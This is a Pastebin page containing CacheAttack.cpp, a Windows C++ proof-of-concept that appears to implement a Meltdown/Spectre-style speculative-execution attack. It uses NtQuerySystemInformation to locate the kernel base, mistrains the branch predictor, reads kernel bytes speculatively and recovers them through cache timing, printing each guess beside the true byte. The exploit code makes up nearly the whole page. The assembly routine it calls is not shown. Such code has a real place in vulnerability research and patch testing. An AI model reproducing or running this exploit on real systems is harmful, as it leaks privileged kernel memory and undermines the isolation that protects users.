daily pastebin goal
42%
SHARE
TWEET

CacheAttack.cpp

a guest Jan 3rd, 2018 13,426 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // CacheAttack.cpp : Defines the entry point for the console application.
  2. //
  3.  
  4. #include "stdafx.h"
  5. #include <Windows.h>
  6.  
  7. EXTERN_C_START
  8.  
  9. void _run_attempt();
  10. DWORD64 pointers[4096 / 2];
  11. DWORD64* speculative;
  12.  
  13. BYTE*    L2_cache_clear;
  14.  
  15. DWORD64 times[256];
  16.  
  17. EXTERN_C_END
  18.  
  19. typedef NTSTATUS (WINAPI *pNtQuerySystemInformation)(
  20.     _In_      DWORD SystemInformationClass,
  21.     _Inout_   PVOID                    SystemInformation,
  22.     _In_      ULONG                    SystemInformationLength,
  23.     _Out_opt_ PULONG                   ReturnLength
  24. );
  25.  
  26. typedef NTSTATUS(WINAPI *pNtYieldProcessor)(
  27.     );
  28.  
  29.  
  30. pNtQuerySystemInformation NtQuerySystemInformation;
  31. pNtYieldProcessor NtYieldProcessor;
  32. #define SystemModuleInformation 11
  33.  
  34. #pragma pack(push, 8)
  35. typedef struct _RTL_PROCESS_MODULE_INFORMATION
  36. {
  37.     HANDLE Section;
  38.     PVOID MappedBase;
  39.     PVOID ImageBase;
  40.     ULONG ImageSize;
  41.     ULONG Flags;
  42.     USHORT LoadOrderIndex;
  43.     USHORT InitOrderIndex;
  44.     USHORT LoadCount;
  45.     USHORT OffsetToFileName;
  46.     UCHAR FullPathName[256];
  47. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  48.  
  49. typedef struct
  50. {
  51.     ULONG ModulesCount;
  52.     RTL_PROCESS_MODULE_INFORMATION Modules[100];
  53. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  54.  
  55.  
  56. #pragma pack(pop)
  57.  
  58. BYTE* cacheClear;
  59.  
  60. size_t run_attempt_single(BYTE* ptr)
  61. {
  62.     //
  63.     // Set up the loop. The point is to have a big loop that the branch predictor "learns" to take
  64.     // followed by a bad speculation on iteration 1000.
  65.     //
  66.     for (size_t i = 0; i < ARRAYSIZE(pointers); i++)
  67.     {
  68.         pointers[i] = (DWORD64)&pointers[0];
  69.         speculative[i] = (DWORD64)FALSE;
  70.     }
  71.     pointers[1000] = (DWORD64)ptr;
  72.     speculative[1000] = (DWORD64)TRUE;
  73.  
  74.     DWORD64 times_min[256] = { 0 };
  75.    
  76.     memset(times_min, 0xff, sizeof(times_min));
  77.  
  78.     // warm up
  79.     for (size_t attempt = 0; attempt < 2; attempt++)
  80.         _run_attempt();
  81.  
  82.     for (size_t attempt = 0; attempt < 5; attempt++)
  83.     {
  84.         _run_attempt();
  85.         for (size_t i = 0; i < 256; i++)
  86.             times_min[i] = min(times_min[i], times[i]);
  87.     }
  88.  
  89.     size_t max_idx = 0;
  90.     for (size_t i = 0; i < 256; i++)
  91.     {
  92.         if (times_min[i] > times_min[max_idx])
  93.             max_idx = i;
  94.     }
  95.  
  96.     return max_idx;
  97. }
  98.  
  99. BYTE* value;
  100.  
  101. int main()
  102. {
  103.     int cpuinfo[4];
  104.     __cpuidex(cpuinfo, 0, 0);
  105.     char* cpuName = (char*)&cpuinfo[1];
  106.  
  107.     value = (BYTE*)VirtualAlloc(0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  108.     *value = 0x1c;
  109.  
  110.     speculative = (DWORD64*)(VirtualAlloc(0, 0x10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_NOCACHE));
  111.  
  112.     L2_cache_clear = (BYTE*)VirtualAlloc(0, 256 * 4096, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE | PAGE_WRITECOMBINE);
  113.  
  114.     (*(FARPROC*)&NtQuerySystemInformation) = GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQuerySystemInformation");
  115.  
  116.     SYSTEM_MODULE_INFORMATION modInfo = { 0 };
  117.     DWORD dw;
  118.  
  119.     NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, &modInfo, sizeof(modInfo), &dw);
  120.  
  121.     void* ntoskrnlBase = (void*)modInfo.Modules[0].ImageBase;
  122.     size_t ntoskrnlSize = modInfo.Modules[0].ImageSize;
  123.  
  124.     cacheClear = (BYTE*)VirtualAlloc((void*)0x1000000, 0x10000, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE);
  125.  
  126.     BYTE* hMod = (BYTE*)(LoadLibraryExW(L"ntoskrnl.exe", NULL, LOAD_LIBRARY_AS_IMAGE_RESOURCE)) - 2;
  127.     IMAGE_DOS_HEADER* imgDos = (IMAGE_DOS_HEADER*)(hMod);
  128.     IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(hMod + imgDos->e_lfanew);
  129.  
  130.     size_t i = 0x1000;
  131.     while(TRUE)
  132.     {
  133.         BYTE* addr = (BYTE*)ntoskrnlBase;
  134.         size_t guess = run_attempt_single(&addr[i]);
  135.         printf("0x%02x: guess: 0x%02x, real:0x%02x\n", i, guess, hMod[i]);
  136.         i++;
  137.     }
  138.  
  139.     return 0;
  140. }
RAW Paste Data
Top